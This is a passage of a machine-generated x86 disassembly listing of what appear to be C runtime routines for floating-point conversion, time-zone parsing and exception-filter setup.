jz short loc_424831 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424837 inc eax mov [esi], eax loc_42482B: ; CODE XREF: sub_4247DF+9j ; sub_4247DF+18j ... or eax, 0FFFFFFFFh loc_42482E: ; CODE XREF: sub_4247DF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424831: ; CODE XREF: sub_4247DF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424837: ; CODE XREF: sub_4247DF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_42482E sub_4247DF endp ; =============== S U B R O U T I N E ======================================= sub_42484D proc near ; CODE XREF: sub_421D76+52p xor eax, eax retn sub_42484D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424850 proc near ; CODE XREF: sub_424885+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42489B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42492D pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424850 endp ; =============== S U B R O U T I N E ======================================= sub_424885 proc near ; CODE XREF: sub_422062+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424850 pop ecx pop ecx retn sub_424885 endp ; =============== S U B R O U T I N E ======================================= sub_42489B proc near ; CODE XREF: sub_424850+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_4248AC push 10h pop eax loc_4248AC: ; CODE XREF: sub_42489B+Cj test bl, 4 jz short loc_4248B3 or al, 8 loc_4248B3: ; CODE XREF: sub_42489B+14j test bl, 8 jz short loc_4248BA or al, 4 loc_4248BA: ; CODE XREF: sub_42489B+1Bj test bl, 10h jz short loc_4248C1 or al, 2 loc_4248C1: ; CODE XREF: sub_42489B+22j test bl, 20h jz short loc_4248C8 or al, 1 loc_4248C8: ; CODE XREF: sub_42489B+29j test bl, 2 jz short loc_4248D2 or eax, 80000h loc_4248D2: ; CODE XREF: sub_42489B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_42490A cmp edx, 400h jz short loc_424907 cmp edx, 800h jz short loc_424903 cmp edx, esi jnz short loc_42490A or eax, edi jmp short loc_42490A ; --------------------------------------------------------------------------- loc_424903: ; CODE XREF: sub_42489B+5Ej or eax, ebp jmp short loc_42490A ; --------------------------------------------------------------------------- loc_424907: ; CODE XREF: sub_42489B+56j or ah, 1 loc_42490A: ; CODE XREF: sub_42489B+4Ej ; sub_42489B+62j ... and ecx, edi pop esi jz short loc_42491A cmp ecx, ebp jnz short loc_42491F or eax, 10000h jmp short loc_42491F ; --------------------------------------------------------------------------- loc_42491A: ; CODE XREF: sub_42489B+72j or eax, 20000h loc_42491F: ; CODE XREF: sub_42489B+76j ; sub_42489B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42492C or eax, 40000h locret_42492C: ; CODE XREF: sub_42489B+8Aj retn sub_42489B endp ; =============== S U B R O U T I N E ======================================= sub_42492D proc near ; CODE XREF: sub_424850+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42493D push 1 pop eax loc_42493D: ; CODE XREF: sub_42492D+Bj test bl, 8 jz short loc_424944 or al, 4 loc_424944: ; CODE XREF: sub_42492D+13j test bl, 4 jz short loc_42494B or al, 8 loc_42494B: ; CODE XREF: sub_42492D+1Aj test bl, 2 jz short loc_424952 or al, 10h loc_424952: ; CODE XREF: sub_42492D+21j test bl, 1 jz short loc_424959 or al, 20h loc_424959: ; CODE XREF: sub_42492D+28j test ebx, 80000h jz short loc_424963 or al, 2 loc_424963: ; CODE XREF: sub_42492D+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424990 cmp ecx, 100h jz short loc_42498D cmp ecx, esi jz short loc_424988 cmp ecx, edx jnz short loc_424990 or ah, 0Ch jmp short loc_424990 ; --------------------------------------------------------------------------- loc_424988: ; CODE XREF: sub_42492D+50j or ah, 8 jmp short loc_424990 ; --------------------------------------------------------------------------- loc_42498D: ; CODE XREF: sub_42492D+4Cj or ah, 4 loc_424990: ; CODE XREF: sub_42492D+44j ; sub_42492D+54j ... mov ecx, ebx and ecx, 30000h jz short loc_4249A6 cmp ecx, 10000h jnz short loc_4249A8 or eax, esi jmp short loc_4249A8 ; --------------------------------------------------------------------------- loc_4249A6: ; CODE XREF: sub_42492D+6Bj or eax, edx loc_4249A8: ; CODE XREF: sub_42492D+73j ; sub_42492D+77j pop esi test ebx, 40000h pop ebx jz short locret_4249B5 or ah, 10h locret_4249B5: ; CODE XREF: sub_42492D+83j retn sub_42492D endp ; =============== S U B R O U T I N E ======================================= sub_4249B6 proc near ; CODE XREF: sub_424A55+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4249FB inc esi cmp esi, 3 jge short loc_4249F6 lea eax, [eax+esi*4] loc_4249E8: ; CODE XREF: sub_4249B6+3Ej cmp dword ptr [eax], 0 jnz short loc_4249FB inc esi add eax, 4 cmp esi, 3 jl short loc_4249E8 loc_4249F6: ; CODE XREF: sub_4249B6+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4249FB: ; CODE XREF: sub_4249B6+27j ; sub_4249B6+35j xor eax, eax pop esi retn sub_4249B6 endp ; =============== S U B R O U T I N E ======================================= sub_4249FF proc near ; CODE XREF: sub_424A55+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425880 add esp, 0Ch dec esi js short loc_424A51 lea edi, [ebx+esi*4] loc_424A38: ; CODE XREF: sub_4249FF+50j test eax, eax jz short loc_424A51 push edi push 1 push dword ptr [edi] call sub_425880 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424A38 loc_424A51: ; CODE XREF: sub_4249FF+34j ; sub_4249FF+3Bj pop edi pop esi pop ebx retn sub_4249FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424A55 proc near ; CODE XREF: sub_424BB0+81p ; sub_424BB0+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424AB9 inc ebx push ebx push [ebp+arg_0] call sub_4249B6 pop ecx test eax, eax pop ecx jnz short loc_424AB6 push edi push [ebp+arg_0] call sub_4249FF pop ecx mov [ebp+var_4], eax pop ecx loc_424AB6: ; CODE XREF: sub_424A55+51j mov eax, [ebp+arg_4] loc_424AB9: ; CODE XREF: sub_424A55+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_424AD9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_424AD9: ; CODE XREF: sub_424A55+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424A55 endp ; =============== S U B R O U T I N E ======================================= sub_424AE1 proc near ; CODE XREF: sub_424BB0+75p ; sub_424BB0+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_424AEF: ; CODE XREF: sub_424AE1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_424AEF pop esi retn sub_424AE1 endp ; =============== S U B R O U T I N E ======================================= sub_424AFC proc near ; CODE XREF: sub_424BB0+5Fp ; sub_424BB0+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_424AFC endp ; =============== S U B R O U T I N E ======================================= sub_424B08 proc near ; CODE XREF: sub_424BB0+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_424B0E: ; CODE XREF: sub_424B08+12j cmp dword ptr [eax], 0 jnz short loc_424B20 inc ecx add eax, 4 cmp ecx, 3 jl short loc_424B0E push 1 pop eax retn ; --------------------------------------------------------------------------- loc_424B20: ; CODE XREF: sub_424B08+9j xor eax, eax retn sub_424B08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B23 proc near ; CODE XREF: sub_424BB0+C0p ; sub_424BB0+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424B59: ; CODE XREF: sub_424B23+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424B59 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_424B8B: ; CODE XREF: sub_424B23+86j cmp ebx, edi jl short loc_424B9E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424BA5 ; --------------------------------------------------------------------------- loc_424B9E: ; CODE XREF: sub_424B23+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424BA5: ; CODE XREF: sub_424B23+79j dec ebx sub ecx, 4 jns short loc_424B8B pop edi pop esi pop ebx leave retn sub_424B23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BB0 proc near ; CODE XREF: sub_424D1C+Dp ; sub_424D32+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_424C1D lea eax, [ebp+var_C] xor esi, esi push eax call sub_424B08 test eax, eax pop ecx jnz loc_424CDC lea eax, [ebp+var_C] push eax call sub_424AFC pop ecx loc_424C15: ; CODE XREF: sub_424BB0+E4j push 2 loc_424C17: ; CODE XREF: sub_424BB0+110j pop eax jmp loc_424CDE ; --------------------------------------------------------------------------- loc_424C1D: ; CODE XREF: sub_424BB0+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_424AE1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424A55 add esp, 10h test eax, eax jz short loc_424C3E inc ebx loc_424C3E: ; CODE XREF: sub_424BB0+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424C56 lea eax, [ebp+var_C] push eax call sub_424AFC pop ecx jmp short loc_424C92 ; --------------------------------------------------------------------------- loc_424C56: ; CODE XREF: sub_424BB0+98j cmp ebx, eax jg short loc_424C99 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_424AE1 lea eax, [ebp+var_C] push esi push eax call sub_424B23 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424A55 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_424B23 add esp, 20h loc_424C92: ; CODE XREF: sub_424BB0+A4j xor esi, esi jmp loc_424C15 ; --------------------------------------------------------------------------- loc_424C99: ; CODE XREF: sub_424BB0+A8j cmp ebx, [edi] jl short loc_424CC5 lea eax, [ebp+var_C] push eax call sub_424AFC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_424B23 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_424C17 ; --------------------------------------------------------------------------- loc_424CC5: ; CODE XREF: sub_424BB0+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_424B23 pop ecx pop ecx loc_424CDC: ; CODE XREF: sub_424BB0+55j xor eax, eax loc_424CDE: ; CODE XREF: sub_424BB0+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_424D0D mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_424D17 ; --------------------------------------------------------------------------- loc_424D0D: ; CODE XREF: sub_424BB0+14Ej cmp edi, 20h jnz short loc_424D17 mov ecx, [ebp+arg_4] mov [ecx], esi loc_424D17: ; CODE XREF: sub_424BB0+15Bj ; sub_424BB0+160j pop edi pop esi pop ebx leave retn sub_424BB0 endp ; =============== S U B R O U T I N E ======================================= sub_424D1C proc near ; CODE XREF: sub_424D48+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43F968 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424BB0 add esp, 0Ch retn sub_424D1C endp ; =============== S U B R O U T I N E ======================================= sub_424D32 proc near ; CODE XREF: sub_424D75+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43F980 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424BB0 add esp, 0Ch retn sub_424D32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D48 proc near ; CODE XREF: sub_42219B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_425A21 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424D1C add esp, 24h leave retn sub_424D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D75 proc near ; CODE XREF: sub_42219B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_425A21 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424D32 add esp, 24h leave retn sub_424D75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424DA2 proc near ; CODE XREF: sub_4221D9+65p ; sub_4222DD+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_424DDF mov [ebp+arg_0], ebx xor ebx, ebx loc_424DC5: ; CODE XREF: sub_424DA2+38j mov dl, [ecx] test dl, dl jz short loc_424DD1 movsx edx, dl inc ecx jmp short loc_424DD4 ; --------------------------------------------------------------------------- loc_424DD1: ; CODE XREF: sub_424DA2+27j push 30h pop edx loc_424DD4: ; CODE XREF: sub_424DA2+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424DC5 mov edx, [ebp+arg_8] loc_424DDF: ; CODE XREF: sub_424DA2+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_424DF8 cmp byte ptr [ecx], 35h jl short loc_424DF8 loc_424DEB: ; CODE XREF: sub_424DA2+52j dec eax cmp byte ptr [eax], 39h jnz short loc_424DF6 mov byte ptr [eax], 30h jmp short loc_424DEB ; --------------------------------------------------------------------------- loc_424DF6: ; CODE XREF: sub_424DA2+4Dj inc byte ptr [eax] loc_424DF8: ; CODE XREF: sub_424DA2+42j ; sub_424DA2+47j cmp byte ptr [esi], 31h jnz short loc_424E02 inc dword ptr [edx+4] jmp short loc_424E14 ; --------------------------------------------------------------------------- loc_424E02: ; CODE XREF: sub_424DA2+59j push edi call sub_41B7B0 inc eax push eax push edi push esi call sub_41D460 add esp, 10h loc_424E14: ; CODE XREF: sub_424DA2+5Ej pop edi pop esi pop ebx pop ebp retn sub_424DA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E19 proc near ; CODE XREF: sub_4221D9+3Fp ; sub_4222DD+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_424E7D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DE228 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_425EF2 mov dword_4DE250, eax add esp, 18h movsx eax, byte_4DE22A mov dword_4DE248, eax pop edi movsx eax, word_4DE228 mov dword_4DE24C, eax mov dword_4DE254, offset dword_4DE22C mov eax, offset dword_4DE248 pop esi leave retn sub_424E19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E7D proc near ; CODE XREF: sub_424E19+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_424ECB cmp ebx, edi jz short loc_424EC4 lea edi, [ecx+3C00h] jmp short loc_424EEC ; --------------------------------------------------------------------------- loc_424EC4: ; CODE XREF: sub_424E7D+3Dj mov edi, 7FFFh jmp short loc_424EEC ; --------------------------------------------------------------------------- loc_424ECB: ; CODE XREF: sub_424E7D+39j xor ebx, ebx cmp eax, ebx jnz short loc_424EE3 cmp edx, ebx jnz short loc_424EE3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_424F2E ; --------------------------------------------------------------------------- loc_424EE3: ; CODE XREF: sub_424E7D+52j ; sub_424E7D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_424EEC: ; CODE XREF: sub_424E7D+45j ; sub_424E7D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_424F04: ; CODE XREF: sub_424E7D+A6j test ecx, esi jnz short loc_424F25 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_424F04 ; --------------------------------------------------------------------------- loc_424F25: ; CODE XREF: sub_424E7D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_424F2E: ; CODE XREF: sub_424E7D+64j pop edi pop esi pop ebx leave retn sub_424E7D endp ; --------------------------------------------------------------------------- push 2 call sub_41E229 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_424F3C proc near ; DATA XREF: sub_424F82o ; .packed:0043F5A8o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_424F5F cmp dword ptr [eax+10h], 3 jnz short loc_424F5F cmp dword ptr [eax+14h], 19930520h jnz short loc_424F5F jmp sub_422D5C ; --------------------------------------------------------------------------- loc_424F5F: ; CODE XREF: sub_424F3C+Dj ; sub_424F3C+13j ... mov eax, dword_4DE258 test eax, eax jz short loc_424F7C push eax call sub_424FD8 test eax, eax pop ecx jz short loc_424F7C push esi call dword_4DE258 jmp short loc_424F7E ; --------------------------------------------------------------------------- loc_424F7C: ; CODE XREF: sub_424F3C+2Aj ; sub_424F3C+35j xor eax, eax loc_424F7E: ; CODE XREF: sub_424F3C+3Ej pop esi retn 4 sub_424F3C endp ; =============== S U B R O U T I N E ======================================= sub_424F82 proc near ; DATA XREF: .packed:0042A030o push offset sub_424F3C call dword_42801C ; SetUnhandledExceptionFilter mov dword_4DE258, eax retn sub_424F82 endp ; =============== S U B R O U T I N E ======================================= sub_424F93 proc near ; DATA XREF: .packed:0042A048o push dword_4DE258 call dword_42801C ; SetUnhandledExceptionFilter retn sub_424F93 endp ; =============== S U B R O U T I N E ======================================= sub_424FA0 proc near ; CODE XREF: sub_4225B1+6Bp ; sub_422AC2+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_428018 ; IsBadReadPtr test eax, eax jz short loc_424FB8 xor esi, esi loc_424FB8: ; CODE XREF: sub_424FA0+14j mov eax, esi pop esi retn sub_424FA0 endp ; =============== S U B R O U T I N E ======================================= sub_424FBC proc near ; CODE XREF: sub_422AC2+73p ; sub_422AC2+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_4281CC ; IsBadWritePtr test eax, eax jz short loc_424FD4 xor esi, esi loc_424FD4: ; CODE XREF: sub_424FBC+14j mov eax, esi pop esi retn sub_424FBC endp ; =============== S U B R O U T I N E ======================================= sub_424FD8 proc near ; CODE XREF: sub_422AC2+15Bp ; sub_424F3C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call dword_428014 ; IsBadCodePtr test eax, eax jz short loc_424FEC xor esi, esi loc_424FEC: ; CODE XREF: sub_424FD8+10j mov eax, esi pop esi retn sub_424FD8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422D5C loc_424FF0: ; CODE XREF: sub_422D5C:loc_422DADj push 0Ah call sub_423EAD push 16h call sub_426185 pop ecx pop ecx push 3 call sub_41BF92 ; END OF FUNCTION CHUNK FOR sub_422D5C ; =============== S U B R O U T I N E ======================================= sub_425007 proc near ; CODE XREF: sub_422E69:loc_422EA8p cmp dword_4DE318, 0 jnz short locret_42501B call sub_42501C inc dword_4DE318 locret_42501B: ; CODE XREF: sub_425007+7j retn sub_425007 endp ; =============== S U B R O U T I N E ======================================= sub_42501C proc near ; CODE XREF: sub_425007+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4DE260, ebp mov dword_43FA40, ebx mov dword_43FA30, ebx call sub_4262F7 mov esi, eax pop ecx cmp esi, ebp jnz loc_425145 push offset dword_4DE268 call dword_4281A4 ; GetTimeZoneInformation cmp eax, ebx jz loc_425274 mov eax, dword_4DE268 mov ecx, dword_4DE2BC imul eax, 3Ch cmp word_4DE2AE, bp push 1 pop edx mov dword_43F998, eax mov dword_4DE260, edx jz short loc_425093 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43F998, eax loc_425093: ; CODE XREF: sub_42501C+69j cmp word_4DE302, bp jz short loc_4250B7 mov eax, dword_4DE310 cmp eax, ebp jz short loc_4250B7 sub eax, ecx mov dword_43F99C, edx imul eax, 3Ch mov dword_43F9A0, eax jmp short loc_4250C3 ; --------------------------------------------------------------------------- loc_4250B7: ; CODE XREF: sub_42501C+7Ej ; sub_42501C+87j mov dword_43F99C, ebp mov dword_43F9A0, ebp loc_4250C3: ; CODE XREF: sub_42501C+99j lea eax, [esp+14h+var_4] mov esi, dword_428180 push eax push ebp push 3Fh mov edi, 220h push off_43FA24 push ebx push offset dword_4DE26C push edi push dword_4DE0FC call esi ; WideCharToMultiByte test eax, eax jz short loc_425100 cmp [esp+14h+var_4], ebp jnz short loc_425100 mov eax, off_43FA24 and byte ptr [eax+3Fh], 0 jmp short loc_425108 ; --------------------------------------------------------------------------- loc_425100: ; CODE XREF: sub_42501C+D1j ; sub_42501C+D7j mov eax, off_43FA24 and byte ptr [eax], 0 loc_425108: ; CODE XREF: sub_42501C+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43FA28 push ebx push offset dword_4DE2C0 push edi push dword_4DE0FC call esi ; WideCharToMultiByte test eax, eax jz loc_42526C cmp [esp+14h+var_4], ebp jnz loc_42526C mov eax, off_43FA28 and byte ptr [eax+3Fh], 0 jmp loc_425274 ; --------------------------------------------------------------------------- loc_425145: ; CODE XREF: sub_42501C+2Dj cmp byte ptr [esi], 0 jz loc_425274 mov eax, dword_4DE314 cmp eax, ebp jz short loc_425168 push eax push esi call sub_41C840 pop ecx test eax, eax pop ecx jz loc_425274 loc_425168: ; CODE XREF: sub_42501C+139j push dword_4DE314 call sub_41B881 push esi call sub_41B7B0 inc eax push eax call sub_41BCA5 add esp, 0Ch cmp eax, ebp mov dword_4DE314, eax jz loc_425274 push esi push eax call sub_41C680 push 3 push esi push off_43FA24 call sub_41BDC0 mov eax, off_43FA24 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_4251BD push 1 inc esi pop edi loc_4251BD: ; CODE XREF: sub_42501C+19Bj push esi call sub_41BEBE pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43F998, ecx loc_4251D4: ; CODE XREF: sub_42501C+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4251E2 cmp al, bl jl short loc_4251E5 cmp al, 39h jg short loc_4251E5 loc_4251E2: ; CODE XREF: sub_42501C+1BCj inc esi jmp short loc_4251D4 ; --------------------------------------------------------------------------- loc_4251E5: ; CODE XREF: sub_42501C+1C0j ; sub_42501C+1C4j cmp byte ptr [esi], 3Ah jnz short loc_425238 inc esi push esi call sub_41BEBE imul eax, 3Ch pop ecx mov ecx, dword_43F998 add ecx, eax mov dword_43F998, ecx loc_425203: ; CODE XREF: sub_42501C+1F2j mov al, [esi] cmp al, bl jl short loc_425210 cmp al, 39h jg short loc_425210 inc esi jmp short loc_425203 ; --------------------------------------------------------------------------- loc_425210: ; CODE XREF: sub_42501C+1EBj ; sub_42501C+1EFj cmp byte ptr [esi], 3Ah jnz short loc_425238 inc esi push esi call sub_41BEBE pop ecx mov ecx, dword_43F998 add ecx, eax mov dword_43F998, ecx loc_42522B: ; CODE XREF: sub_42501C+21Aj mov al, [esi] cmp al, bl jl short loc_425238 cmp al, 39h jg short loc_425238 inc esi jmp short loc_42522B ; --------------------------------------------------------------------------- loc_425238: ; CODE XREF: sub_42501C+1CCj ; sub_42501C+1F7j ... cmp edi, ebp jz short loc_425244 neg ecx loc_42523E: ; DATA XREF: .packed:off_43AE10o mov dword_43F998, ecx loc_425244: ; CODE XREF: sub_42501C+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43F99C, eax jz short loc_42526C push 3 push esi push off_43FA28 call sub_41BDC0 mov eax, off_43FA28 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_425274 ; --------------------------------------------------------------------------- loc_42526C: ; CODE XREF: sub_42501C+10Bj ; sub_42501C+115j ... mov eax, off_43FA28 and byte ptr [eax], 0 loc_425274: ; CODE XREF: sub_42501C+40j ; sub_42501C+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_42501C endp ; =============== S U B R O U T I N E ======================================= sub_42527A proc near ; CODE XREF: sub_422E69+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43F99C, edi jnz short loc_42528E loc_425287: ; CODE XREF: sub_42527A+148j ; sub_42527A+150j ... xor eax, eax jmp 